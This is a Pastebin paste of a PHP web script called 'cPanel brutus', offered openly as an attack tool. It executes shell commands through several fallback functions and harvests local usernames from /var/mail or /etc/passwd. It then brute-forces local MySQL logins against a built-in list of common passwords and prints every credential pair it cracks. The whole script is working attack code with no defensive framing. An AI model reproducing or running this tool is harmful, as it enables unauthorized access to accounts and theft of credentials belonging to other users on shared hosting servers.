Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*********************************************
- cPanel Brute Force script: cPanel brutus
- Coded By: TiGER-M@TE
- Email: localhost_80{at}programmer.net
- *********************************************/
- if(function_exists('apache_setenv')){
- @apache_setenv('no-gzip', 1);}
- @ini_set('zlib.output_compression', 0);
- @ini_set('output_buffering ',0);
- @ini_set('implicit_flush', 1);
- @ob_implicit_flush(true);
- @ob_end_flush();
- ?>
- <html>
- <head>
- <meta http-equiv="Content-Language" content="en-us">
- </head>
- <title>cPanel brutus</title>
- <body text="#00FF00" bgcolor="#000000" vlink="#00BFFF" link="#FF0000" alink="#008000">
- <div align="center">
- <table width="67%" style="border: 2px dashed #FF0000; background-color: #000000; color:#C0C0C0">
- <tr><td align=center>
- <font face="Courier New" size=4 color=yellow>cPanel brutus</font>
- </td></tr>
- </table>
- <br />
- <?php
- if(!isset($_POST['submit'])){
- function execute($cfe) {
- $res = '';
- if ($cfe) {
- if(function_exists('system')) {
- @ob_start();
- @system($cfe);
- $res = @ob_get_contents();
- @ob_end_clean();
- } else if(function_exists('passthru')) {
- @ob_start();
- @passthru($cfe);
- $res = @ob_get_contents();
- @ob_end_clean();
- } else if(function_exists('shell_exec')) {
- $res = @shell_exec($cfe);
- } else if(function_exists('exec')) {
- @exec($cfe,$res);
- $res = join("\n",$res);
- } else if(@is_resource($f = @popen($cfe,"r"))) {
- $res = '';
- while(!@feof($f)) {
- $res .= @fread($f,1024);
- }
- @pclose($f);
- }
- }
- return $res;
- }
- $default=execute("ls /var/mail");
- if(!$default){
- if($file=@file_get_contents('/etc/passwd')){
- $u=explode("\n",$file);
- foreach($u as $us){
- $uss=explode(":x:",$us);
- $default .=$uss[0]."\n";
- }
- }else if(function_exists('posix_getpwuid')){
- for($n2=500;$n2<10000;$n2++){
- $userinfo = posix_getpwuid($n2);
- $name=$userinfo['name'];
- if($name!=''){
- $default.=$name."\n";
- }
- }}else{$default="Could not get any username.try manually :)";}
- }
- echo <<<EOF
- <form method="POST">
- <div align='center'>
- <table width='55%' style='border: 2px dashed #FF0000; background-color: #000000; color:#C0C0C0'>
- <tr>
- <td align='center'>
- <span lang='en-us'><font color='#FF0000'><b>Usernames:</b></font></span>
- <p align='center'> <textarea rows='30' name='usernames' cols='30' style='border: 2px dashed #FFFFFF; background-color: #000000; color:#C0C0C0'>$default</textarea><br/>
- </p></td>
- <td align='center'>
- <span lang='en-us'><font color='#FF0000'><b>Passwords:</b></font></span>
- <p align='center'> <textarea rows='30' name='passwords' cols='30' style='border: 2px dashed #FFFFFF; background-color: #000000; color:#C0C0C0'>123123\n123456\n1234567\n12345678\n123456789\n112233\n332211\ntest\ntest123\ncpanel\npassword\npassword1\nabc123\na1b2c3\npassw0rd\nPassword\nPassw0rd\nuser\npasswd\npasswords\npass\nchangeme\niloveyou\nfuckyou\nqwerty\n1q2w3e\nq1w2e3\nqazqaz\n1qazxsw2\n1qaz2wsx\nqazxsw\nqazwsx</textarea><br/>
- </p></td>
- </tr>
- </table><br/><input type='submit' value=' Subtmit ' name='submit' style='color: #FF0000; font-weight: bold; border: 1px dashed #333333; background-color: #000000'></form>
- EOF;
- }else{
- $password=array_unique(explode("\n",$_POST['passwords']));
- $username=array_unique(explode("\n",$_POST['usernames']));
- if(!set_time_limit(0)){"<font color='red'><b>ALERT:</b> set_time_limit(0) failed! Cracking will be interrupted!<br/></font>";}
- echo '[+]Cracking...<br/><hr width="67%" style="border: 4px dashed #FF0000;"><font color="white" size="4"><b>username<font color="red">:</font>password</b></font><br/><br/>';
- $count=0;
- $n=0;
- $start=time();
- foreach($username as $user){
- $count++;
- $user=trim($user);
- if ( @mysql_connect("localhost",$user,$user) ){echo "<font color='red'>$user</font>:<font color='red'>$user</font><hr width='67%' style='border: 1px dashed #1D1D1D;'>";$n++;continue;}
- foreach($password as $pass){
- $count++;
- $pass=trim($pass);
- if ( @mysql_connect("localhost",$user,$pass) ){echo "<font color='red'>$user</font>:<font color='red'>$pass</font><hr width='67%' style='border: 1px dashed #1D1D1D;'>";$n++;break;}
- }
- }
- $end= time() - $start;
- @$per=$count/$end;
- if($n){
- echo "[*]Successfully Cracked: <font color='red'><b>$n</b></font><br/>";}
- echo '<font color="#00FF00">[*]Time took: '.$end.' seconds for '.$count.' tries ('.$per.'/sec)</font><br/>';
- }
- ?>
- <hr/><font color="yellow">Coded by</font> <font color="red">TiGER-M@TE</font></body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement